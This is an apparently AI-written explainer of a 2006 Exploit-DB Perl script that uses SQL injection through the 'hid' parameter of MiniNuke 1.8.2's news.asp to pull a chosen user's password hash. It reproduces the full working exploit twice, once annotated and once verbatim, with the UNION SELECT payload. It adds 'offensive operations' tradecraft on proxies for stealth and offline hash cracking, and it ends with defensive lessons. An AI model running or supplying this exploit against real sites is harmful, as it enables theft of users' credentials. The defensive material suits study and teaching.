MiniNuke 1.8.2 'hid' SQL Injection Exploit Explained

MiniNuke 1.8.2 'hid' SQL Injection Exploit Explained
What this paper is
This paper describes a Perl script that exploits a SQL injection vulnerability in MiniNuke web application version 1.8.2 and earlier. The vulnerability allows an attacker to retrieve the password hash of a specific user by manipulating the hid parameter in the news.asp page.
Simple technical breakdown
The script works by sending a specially crafted HTTP GET request to the target web server. This request exploits a flaw in how the news.asp page handles the hid parameter. Instead of just using the provided ID, the application incorrectly incorporates it into a SQL query. The exploit injects a UNION SELECT statement into this query. This allows the attacker to select data from a different table (members) and column (sifre, which likely means password in Turkish) and display it as if it were part of the original query's results. The script then parses the HTTP response to find the retrieved password hash.
Complete code and payload walkthrough
#!/usr/bin/perl
# MiniNuke (www.miniex.net) Version: <= 1.8.2 SQL-injection exploit.
# This exploit uses the vulnerability discovered by nukedx@nukedx.com.
# Exploit uses SQl-injection to give you the hash from user with chosen id.
# DetMyl, 2006 Detmyl@bk.ru
use IO::Socket; # Imports the necessary module for network socket operations.
if (@ARGV < 3) # Checks if the number of command-line arguments is less than 3.
{
print q( # Prints a usage message if not enough arguments are provided.
+++++++++++++++++++++++++++++++++++++++++++++++++++
Usage: perl mini-nuke.pl [site] [dir] [useId] [proxy (optional)]
i.e. perl mini-nuke.pl "somesite.com" / 52 127.0.0.1:3128
++++++++++++++++++++++++++++++++++++++++++++++++++++
);
exit; # Exits the script.
}
$serv = $ARGV[0]; # Assigns the first argument (target site) to $serv.
$dir = $ARGV[1]; # Assigns the second argument (directory path) to $dir.
$uid = $ARGV[2]; # Assigns the third argument (user ID) to $uid.
$proxy = $ARGV[3]; # Assigns the fourth argument (optional proxy) to $proxy.
print "----------------------------------\n"; # Prints a separator line.
if ( defined $proxy) { # Checks if a proxy argument was provided.
$proxy =~ s/(http:\/\/)//eg; # Removes "http://" from the proxy string if present.
($proxyAddr,$proxyPort) = split(/:/, $proxy); # Splits the proxy string into address and port.
}
$serv =~ s/(http:\/\/)//eg; # Removes "http://" from the target site string if present.
$request ="http://".$serv.$dir."news.asp?Action=Print&hid=66%20union+select+0,sifre,0,0,0,0,0,0,0,0+from+members+where+uye_id=".$uid; # Constructs the malicious HTTP request.
# This is the core of the exploit. It constructs a URL that targets news.asp.
# The 'hid' parameter is manipulated.
# '66' is likely a placeholder or a value that doesn't cause an immediate error.
# '%20union+select+0,sifre,0,0,0,0,0,0,0,0+from+members+where+uye_id=' is the injected SQL.
# - 'union': Combines the result of the original query with the injected query.
# - 'select 0,sifre,0,0,0,0,0,0,0,0': Selects 10 columns. 'sifre' is the target column (likely password). The '0's are placeholders to match the expected number of columns from the original query.
# - 'from members': Specifies the table to retrieve data from.
# - 'where uye_id='.$uid: Filters the results to the user ID provided by the attacker.
print "Connecting to: $serv...\n"; # Informs the user about the target.
print $proxy?"Using proxy: $proxy \n":""; # Informs the user if a proxy is being used.
$socket = IO::Socket::INET->new( Proto => "tcp", # Creates a new TCP socket.
PeerAddr => $proxyAddr?"$proxyAddr":"$serv", # Sets the remote address (proxy or target).
PeerPort => $proxyPort?"$proxyPort":"80") # Sets the remote port (proxy or 80 for HTTP).
|| die "can't connect to: $serv\n"; # Exits if connection fails.
print $socket "GET $request HTTP/1.1\n"; # Sends the HTTP GET request.
print $socket "Host: $serv\n"; # Sets the Host header.
print $socket "Accept: */*\n"; # Sets the Accept header.
print $socket "Connection: close\n\n"; # Sets the Connection header to close and sends a double newline to end the headers.
print "+ Connected!...\n"; # Confirms connection.
while($answer = <$socket>) { # Reads the response from the socket line by line.
if ($answer =~ /<b>([\d,a-f]{32})<\/b>/) { # Checks if the response contains a 32-character hexadecimal string within <b> tags. This is expected for an MD5 hash.
print "+ Found! The hash for user $uid: $1\n"; # Prints the found hash. $1 contains the captured group (the hash).
print "----------------------------------\n"; # Prints a separator.
exit(); # Exits the script successfully.
}
if ($answer =~ /number of columns/) { print "+ Vulnerable! But no result with default querry, so manually change the scrypt;-)...\n";exit(); } # If the response indicates a column count mismatch, it suggests the exploit might need adjustment.
}
print "Exploit failed\n"; # If the loop finishes without finding a hash, the exploit failed.
print "--------------------------\n"; # Prints a separator.
# milw0rm.com [2006-01-14]Code Fragment/Block -> Practical Purpose Mapping:
#!/usr/bin/perl: Shebang line, indicates the script should be executed with Perl.use IO::Socket;: Imports theIO::Socketmodule, essential for making network connections.if (@ARGV < 3)block: Handles argument validation. If fewer than 3 arguments are provided, it prints usage instructions and exits.$serv = $ARGV[0];: Stores the target website address.$dir = $ARGV[1];: Stores the web application's directory path.$uid = $ARGV[2];: Stores the user ID whose password hash is to be retrieved.$proxy = $ARGV[3];: Stores the optional proxy server details.if ( defined $proxy)block: Processes the proxy argument, removinghttp://and splitting it into address and port.$serv =~ s/(http:\/\/)//eg;: Cleans up the target server address by removinghttp://.$request = "http://".$serv.$dir."news.asp?Action=Print&hid=66%20union+select+0,sifre,0,0,0,0,0,0,0,0+from+members+where+uye_id=".$uid;: This is the core payload construction. It crafts the URL with the SQL injection.news.asp?Action=Print&hid=: The vulnerable endpoint and parameter.66%20union+select+0,sifre,0,0,0,0,0,0,0,0+from+members+where+uye_id=: The injected SQL query.66: A number that likely doesn't cause an immediate error in the original query's context.%20: URL-encoded space.union: SQL keyword to combine results.select 0,sifre,0,0,0,0,0,0,0,0: Selects 10 columns.sifreis the target column (password hash). The0s are placeholders to match the expected number of columns from the original query.from members: The table containing user data.where uye_id=: The condition to select a specific user.$uid: The user ID provided as input.
$socket = IO::Socket::INET->new(...): Establishes a TCP connection to the target (or proxy).print $socket "GET $request HTTP/1.1\n";: Sends the crafted HTTP GET request.print $socket "Host: $serv\n";: Sets theHostheader.print $socket "Accept: */*\n";: Sets theAcceptheader.print $socket "Connection: close\n\n";: Sets theConnectionheader tocloseand ends the HTTP headers.while($answer = <$socket>): Reads the server's response.if ($answer =~ /<b>([\d,a-f]{32})<\/b>/): This is the payload extraction logic. It looks for a 32-character hexadecimal string (typical MD5 hash format) enclosed in<b>tags.([\d,a-f]{32}): Captures a group of 32 characters consisting of digits (\d) or lowercase hexadecimal letters (a-f).
print "+ Found! The hash for user $uid: $1\n";: Prints the extracted hash.$1holds the captured group.if ($answer =~ /number of columns/): A fallback check. If the response indicates a column count mismatch, it suggests the number of0s in theUNION SELECTstatement might need adjustment for that specific target.
Practical details for offensive operations teams
- Required Access Level: Network access to the target web server is required. No elevated privileges on the server itself are needed initially, as this is a remote web application exploit.
- Lab Preconditions:
- A target environment running MiniNuke version 1.8.2 or earlier with the vulnerable
news.asppage accessible. - Knowledge of the target website's domain name or IP address, the directory where MiniNuke is installed, and the
uye_idof a user whose hash you want to retrieve. - A Perl interpreter installed on the attacker's machine.
- (Optional) A proxy server configured if the target requires it or if the attacker wishes to obfuscate their origin.
- A target environment running MiniNuke version 1.8.2 or earlier with the vulnerable
- Tooling Assumptions:
- Perl interpreter.
- Standard Perl modules (
IO::Socket). - A web browser or
curlto verify the vulnerability manually (though the script automates this).
- Execution Pitfalls:
- Incorrect
hidvalue: The66in thehidparameter might need adjustment if it causes an error or if the original query expects a different data type or format. The exploit's fallback message (number of columns) hints at this. - Column Count Mismatch: The number of
0s in theUNION SELECTstatement must match the number of columns returned by the original query. If the target application has a different schema, the exploit might fail. Thenumber of columnserror message is a direct indicator of this. - Hash Format: The exploit specifically looks for a 32-character hexadecimal string within
<b>tags. If the application returns the hash in a different format or without these tags, the regex will fail. - Web Application Firewall (WAF): Modern WAFs might detect and block the SQL injection pattern.
- URL Encoding: While
%20is used for spaces, other characters in the injected SQL might require URL encoding depending on the server's interpretation. - Proxy Issues: Incorrect proxy configuration or a non-functional proxy will prevent the exploit from reaching the target.
- HTTP vs. HTTPS: The exploit assumes HTTP. If the target uses HTTPS, modifications to the
IO::Socketconnection would be necessary (e.g., usingIO::Socket::SSL).
- Incorrect
- Tradecraft Considerations:
- Reconnaissance: Thoroughly identify the MiniNuke version and confirm the presence of
news.aspand thehidparameter. Test with simple queries first to understand the application's response to malformed input. - Stealth: Using proxies can help mask the attacker's IP. However, the request itself is still a direct interaction with the target. Avoid noisy scanning.
- Payload Delivery: This exploit is for retrieving credentials. The next step would typically be to use these credentials to gain further access or to crack the hash offline.
- Error Analysis: Carefully analyze any error messages returned by the server to refine the exploit. The "number of columns" message is a key diagnostic.
- Reconnaissance: Thoroughly identify the MiniNuke version and confirm the presence of
Where this was used and when
- Context: This exploit targets the MiniNuke web application, which was a popular content management system (CMS) in the mid-2000s. Such vulnerabilities were common in web applications of that era due to less mature security practices.
- Timeframe: The exploit was published in January 2006. Vulnerabilities like this were actively discovered and exploited in the years leading up to and around this period. It's likely this specific vulnerability existed for some time before being discovered and published.
Defensive lessons for modern teams
- Input Validation is Paramount: Never trust user input. All data passed to database queries must be rigorously validated and sanitized to prevent injection attacks.
- Parameterized Queries/Prepared Statements: Use parameterized queries or prepared statements provided by the database API. These separate SQL code from data, preventing injected data from being interpreted as executable SQL.
- Least Privilege: Database accounts used by web applications should have only the minimum necessary permissions. The application should not be able to query arbitrary tables like
membersif its sole purpose is to display news. - Regular Patching and Updates: Keep web applications and their underlying frameworks updated to the latest secure versions. This vulnerability was in a specific, older version of MiniNuke.
- Web Application Firewalls (WAFs): While not a silver bullet, WAFs can help detect and block common injection patterns. However, attackers can often bypass simple WAF rules.
- Error Handling: Avoid revealing detailed error messages to end-users, as these can provide attackers with valuable information about the database schema and application logic.
- Secure Coding Practices: Train developers on secure coding principles, including common vulnerabilities like SQL injection.
ASCII visual (if applicable)
+-----------------+ +-----------------------+ +-----------------+
| Attacker's Host |----->| Target Web Server |----->| Database Server |
| (Perl Script) | | (MiniNuke 1.8.2) | | (e.g., MySQL) |
+-----------------+ +-----------------------+ +-----------------+
| |
| HTTP GET Request | SQL Query Execution
| (with injected SQL) | (Vulnerable `news.asp`)
| |
+-------------------------+
|
| Response
| (with hash in <b> tags)
|
v
+-----------------+
| Attacker's Host |
| (Perl Script) |
+-----------------+Source references
- Paper URL: https://www.exploit-db.com/papers/1419
- Raw Exploit URL: https://www.exploit-db.com/raw/1419
- Original Author: DetMyl
- Publication Date: 2006-01-14
- Vulnerability Discovered By: nukedx@nukedx.com
- Application: MiniNuke version <= 1.8.2
Original Exploit-DB Content (Verbatim)
#!/usr/bin/perl
# MiniNuke (www.miniex.net) Version: <= 1.8.2 SQL-injection exploit.
# This exploit uses the vulnerability discovered by nukedx@nukedx.com.
# Exploit uses SQl-injection to give you the hash from user with chosen id.
# DetMyl, 2006 Detmyl@bk.ru
use IO::Socket;
if (@ARGV < 3)
{
print q(
+++++++++++++++++++++++++++++++++++++++++++++++++++
Usage: perl mini-nuke.pl [site] [dir] [useId] [proxy (optional)]
i.e. perl mini-nuke.pl "somesite.com" / 52 127.0.0.1:3128
++++++++++++++++++++++++++++++++++++++++++++++++++++
);
exit;
}
$serv = $ARGV[0];
$dir = $ARGV[1];
$uid = $ARGV[2];
$proxy = $ARGV[3];
print "----------------------------------\n";
if ( defined $proxy) {
$proxy =~ s/(http:\/\/)//eg;
($proxyAddr,$proxyPort) = split(/:/, $proxy);
}
$serv =~ s/(http:\/\/)//eg;
$request ="http://".$serv.$dir."news.asp?Action=Print&hid=66%20union+select+0,sifre,0,0,0,0,0,0,0,0+from+members+where+uye_id=".$uid;
print "Connecting to: $serv...\n";
print $proxy?"Using proxy: $proxy \n":"";
$socket = IO::Socket::INET->new( Proto => "tcp",
PeerAddr => $proxyAddr?"$proxyAddr":"$serv",
PeerPort => $proxyPort?"$proxyPort":"80")
|| die "can't connect to: $serv\n";
print $socket "GET $request HTTP/1.1\n";
print $socket "Host: $serv\n";
print $socket "Accept: */*\n";
print $socket "Connection: close\n\n";
print "+ Connected!...\n";
while($answer = <$socket>) {
if ($answer =~ /<b>([\d,a-f]{32})<\/b>/) {
print "+ Found! The hash for user $uid: $1\n";
print "----------------------------------\n";
exit(); }
if ($answer =~ /number of columns/) { print "+ Vulnerable! But no result with default querry, so manually change the scrypt;-)...\n";exit(); }
}
print "Exploit failed\n";
print "--------------------------\n";
# milw0rm.com [2006-01-14]